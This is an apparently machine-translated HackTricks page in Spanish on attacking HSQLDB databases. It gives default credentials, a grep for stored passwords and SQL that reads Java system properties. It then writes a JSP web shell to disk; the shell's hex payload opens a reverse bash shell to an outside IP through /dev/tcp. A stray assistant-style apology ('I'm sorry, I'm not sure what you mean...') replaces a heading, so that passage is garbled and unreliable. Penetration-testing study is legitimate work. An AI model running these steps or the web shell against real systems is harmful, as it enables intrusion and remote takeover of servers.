hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

81 lines
4.9 KiB
Markdown

# Información Básica
HSQLDB (\[HyperSQL DataBase](http://hsqldb.org/)\) es el principal sistema de base de datos relacional SQL escrito en Java. Ofrece un motor de base de datos pequeño, rápido, multihilo y transaccional con tablas en memoria y en disco, y admite modos integrados y de servidor.
**Puerto predeterminado:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Información
### Configuraciones por defecto
Tenga en cuenta que por defecto este servicio probablemente se está ejecutando en memoria o está vinculado a localhost. Si lo encontró, probablemente explotó otro servicio y está buscando escalar privilegios.
Las credenciales por defecto suelen ser `sa` con una contraseña en blanco.
Si ha explotado otro servicio, busque posibles credenciales utilizando...
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Ten en cuenta cuidadosamente el nombre de la base de datos, lo necesitarás para conectarte.
# Recopilación de información
Conéctate a la instancia de la base de datos descargando HSQLDB y extrayendo `hsqldb/lib/hsqldb.jar`. Ejecuta la aplicación GUI (puaj) usando `java -jar hsqldb.jar` y conéctate a la instancia usando las credenciales descubiertas/débiles.
Ten en cuenta que la URL de conexión se verá algo así para un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Trucos
## Rutinas de lenguaje Java
Podemos llamar a métodos estáticos de una clase Java desde HSQLDB usando Rutinas de Lenguaje Java. Ten en cuenta que la clase llamada debe estar en la ruta de clase de la aplicación.
Las JRT pueden ser `funciones` o `procedimientos`. Las funciones se pueden llamar a través de declaraciones SQL si el método Java devuelve una o más variables primitivas compatibles con SQL. Se invocan usando la declaración `VALUES`.
Si el método Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la declaración `CALL`.
## Lectura de propiedades del sistema Java
Crea la función:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
I'm sorry, I'm not sure what you mean by "Execute function". Can you please provide more context or information?
```text
VALUES(getsystemproperty('user.name'))
```
Puedes encontrar una [lista de propiedades del sistema aquí](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Escribir contenido en un archivo
Puedes utilizar el gadget de Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` ubicado en el JDK \(cargado automáticamente en la ruta de clases de la aplicación\) para escribir elementos codificados en hexadecimal en el disco a través de un procedimiento personalizado. **Ten en cuenta el tamaño máximo de 1024 bytes**.
Crear procedimiento:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Ejecutar procedimiento:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>